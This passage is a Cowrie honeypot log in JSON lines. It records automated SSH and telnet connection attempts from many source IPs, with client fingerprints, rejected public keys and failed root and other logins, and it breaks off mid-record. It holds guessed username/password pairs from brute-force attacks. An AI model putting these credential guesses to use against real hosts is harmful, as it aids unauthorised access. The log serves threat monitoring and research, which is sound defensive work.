{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:a6:07:e9:2a:1c:af:55:b2:77:2b:c5:5b:f9:46:f3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFyMb0GuVIukLBsBuTo9Y5Fccai40JOK4TsGrJ1nIBFy","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 69:a6:07:e9:2a:1c:af:55:b2:77:2b:c5:5b:f9:46:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.442991Z","src_ip":"209.126.2.70","session":"d6f0c1bb78e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:a6:07:e9:2a:1c:af:55:b2:77:2b:c5:5b:f9:46:f3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFyMb0GuVIukLBsBuTo9Y5Fccai40JOK4TsGrJ1nIBFy","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.446282Z","src_ip":"209.126.2.70","session":"d6f0c1bb78e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:cd:1c:68:3a:b1:cc:25:c2:d6:ef:7e:0d:1b:57:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnamGbokygucagHwV5kSjkC9F9Zml4lRYf8dyio+YFdSgu+gyHBvAEMIaJI+2+NXoLir+09lcZq7iY8+7Tlzc0vvyQ8ezQnhhRIeSoGXS4sQA8Zke6IqUD/4SbxIXbGd4WYSKGZFmcgZvcEVZBgxssUtj/doSlmQKdsdgz5yIc21UXa/Cz3eV+66Q//1AYevk2CJr+MwhDOBdsWXcf/gR3OG3lSf2E0hT3Azw3t00/UtWi+a03pZ1w/zWQ3M0au/SXPFxpdTcl0F1u/2tpCoODwe3f+CL/IAORzZW6tInbEL/mLD06FUZEIipIQup0v7HYasxGPulnJJ3Uodkg+641","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:cd:1c:68:3a:b1:cc:25:c2:d6:ef:7e:0d:1b:57:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.498362Z","src_ip":"209.126.2.70","session":"d6f0c1bb78e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:cd:1c:68:3a:b1:cc:25:c2:d6:ef:7e:0d:1b:57:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnamGbokygucagHwV5kSjkC9F9Zml4lRYf8dyio+YFdSgu+gyHBvAEMIaJI+2+NXoLir+09lcZq7iY8+7Tlzc0vvyQ8ezQnhhRIeSoGXS4sQA8Zke6IqUD/4SbxIXbGd4WYSKGZFmcgZvcEVZBgxssUtj/doSlmQKdsdgz5yIc21UXa/Cz3eV+66Q//1AYevk2CJr+MwhDOBdsWXcf/gR3OG3lSf2E0hT3Azw3t00/UtWi+a03pZ1w/zWQ3M0au/SXPFxpdTcl0F1u/2tpCoODwe3f+CL/IAORzZW6tInbEL/mLD06FUZEIipIQup0v7HYasxGPulnJJ3Uodkg+641","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.502218Z","src_ip":"209.126.2.70","session":"d6f0c1bb78e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:3c:7b:53:f3:6e:39:f8:65:9e:c7:b3:97:8e:03:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDliM6bdxwJl/+I+Zx9FpEd3V++ROJ6fK6Eky8bDCDZnW4F0gvrg3rKEv8AjYKA21+IoXpsKoVL1wckK8fPfIue64O6VlezkXGS7ZUforhv+gBzMkRepntpUtOg8Z8qmg8m4qwnaCSpeg8TeE8Yo1up7cRUs7wLCeVp9kPn2/u6N5mDqTxoQ7EMmdfVDGfuFXx79nVuFYlmxFNEEOqfBsP1U3ToEtCeIRTHR5O+7Gut5XgGpBJbd8bb6l0PMfFh8wkuacdvoa0RDOxLZRZ6myKsIrogqP8xdO7gZxzcYu23f2p80AB1EHWrmnG/M+6aZfBOHwmf07qjz28Q6Pcgk1nd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:3c:7b:53:f3:6e:39:f8:65:9e:c7:b3:97:8e:03:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.552076Z","src_ip":"209.126.2.70","session":"d6f0c1bb78e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:3c:7b:53:f3:6e:39:f8:65:9e:c7:b3:97:8e:03:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDliM6bdxwJl/+I+Zx9FpEd3V++ROJ6fK6Eky8bDCDZnW4F0gvrg3rKEv8AjYKA21+IoXpsKoVL1wckK8fPfIue64O6VlezkXGS7ZUforhv+gBzMkRepntpUtOg8Z8qmg8m4qwnaCSpeg8TeE8Yo1up7cRUs7wLCeVp9kPn2/u6N5mDqTxoQ7EMmdfVDGfuFXx79nVuFYlmxFNEEOqfBsP1U3ToEtCeIRTHR5O+7Gut5XgGpBJbd8bb6l0PMfFh8wkuacdvoa0RDOxLZRZ6myKsIrogqP8xdO7gZxzcYu23f2p80AB1EHWrmnG/M+6aZfBOHwmf07qjz28Q6Pcgk1nd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.555184Z","src_ip":"209.126.2.70","session":"d6f0c1bb78e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:12.591996Z","src_ip":"209.126.2.70","session":"d6f0c1bb78e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":36490,"dst_ip":"159.203.135.109","dst_port":22,"session":"1da8945dd7da","protocol":"ssh","message":"New connection: 124.155.125.131:36490 (159.203.135.109:22) [session: 1da8945dd7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:14.189363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:14.194179Z","src_ip":"124.155.125.131","session":"1da8945dd7da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:14.376439Z","src_ip":"124.155.125.131","session":"1da8945dd7da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lololol","message":"login attempt [root/lololol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:15.115055Z","src_ip":"124.155.125.131","session":"1da8945dd7da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:16.295546Z","src_ip":"124.155.125.131","session":"1da8945dd7da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.650530815124512,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:18.106995Z","src_ip":"91.201.254.33","session":"e9b079e4e39d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":39396,"dst_ip":"159.203.135.109","dst_port":22,"session":"55800acf2564","protocol":"ssh","message":"New connection: 189.113.47.155:39396 (159.203.135.109:22) [session: 55800acf2564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:48.103250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:48.108722Z","src_ip":"189.113.47.155","session":"55800acf2564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:48.224596Z","src_ip":"189.113.47.155","session":"55800acf2564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chick","message":"login attempt [root/chick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:48.720525Z","src_ip":"189.113.47.155","session":"55800acf2564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:49.839833Z","src_ip":"189.113.47.155","session":"55800acf2564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":35284,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca15e83e309a","protocol":"ssh","message":"New connection: 165.154.6.49:35284 (159.203.135.109:22) [session: ca15e83e309a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:52.262676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:52.267669Z","src_ip":"165.154.6.49","session":"ca15e83e309a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:52.490500Z","src_ip":"165.154.6.49","session":"ca15e83e309a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer!@#$","message":"login attempt [root/1234qwer!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:53.388585Z","src_ip":"165.154.6.49","session":"ca15e83e309a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:47:54.609300Z","src_ip":"165.154.6.49","session":"ca15e83e309a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.222.22.180","src_port":57212,"dst_ip":"10.17.0.5","dst_port":22,"session":"00b2f1c5da81","protocol":"ssh","message":"New connection: 92.222.22.180:57212 (10.17.0.5:22) [session: 00b2f1c5da81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:04.110748Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:04.199760Z","src_ip":"92.222.22.180","session":"00b2f1c5da81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":54068,"dst_ip":"159.203.135.109","dst_port":22,"session":"7db265f75e90","protocol":"ssh","message":"New connection: 190.167.237.191:54068 (159.203.135.109:22) [session: 7db265f75e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:06.300701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:06.305763Z","src_ip":"190.167.237.191","session":"7db265f75e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:06.363785Z","src_ip":"190.167.237.191","session":"7db265f75e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:06.621658Z","src_ip":"190.167.237.191","session":"7db265f75e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:07.682161Z","src_ip":"190.167.237.191","session":"7db265f75e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01041531562805,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:16.916086Z","src_ip":"149.86.143.242","session":"96f06caa1564","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":46508,"dst_ip":"159.203.135.109","dst_port":22,"session":"30f1150b5f12","protocol":"ssh","message":"New connection: 221.161.235.168:46508 (159.203.135.109:22) [session: 30f1150b5f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:19.430165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:19.435800Z","src_ip":"221.161.235.168","session":"30f1150b5f12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:19.633180Z","src_ip":"221.161.235.168","session":"30f1150b5f12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123456","message":"login attempt [root/Asd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:20.459645Z","src_ip":"221.161.235.168","session":"30f1150b5f12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:21.660376Z","src_ip":"221.161.235.168","session":"30f1150b5f12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":40380,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5094bae751a","protocol":"ssh","message":"New connection: 88.147.30.59:40380 (159.203.135.109:22) [session: c5094bae751a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:32.784953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:32.790355Z","src_ip":"88.147.30.59","session":"c5094bae751a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:32.914262Z","src_ip":"88.147.30.59","session":"c5094bae751a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"peppino","message":"login attempt [root/peppino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:33.415072Z","src_ip":"88.147.30.59","session":"c5094bae751a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":50808,"dst_ip":"159.203.135.109","dst_port":22,"session":"15b2d796204e","protocol":"ssh","message":"New connection: 124.155.125.131:50808 (159.203.135.109:22) [session: 15b2d796204e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:34.183288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:48:34.187815Z","src_ip":"124.155.125.131","session":"15b2d796204e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info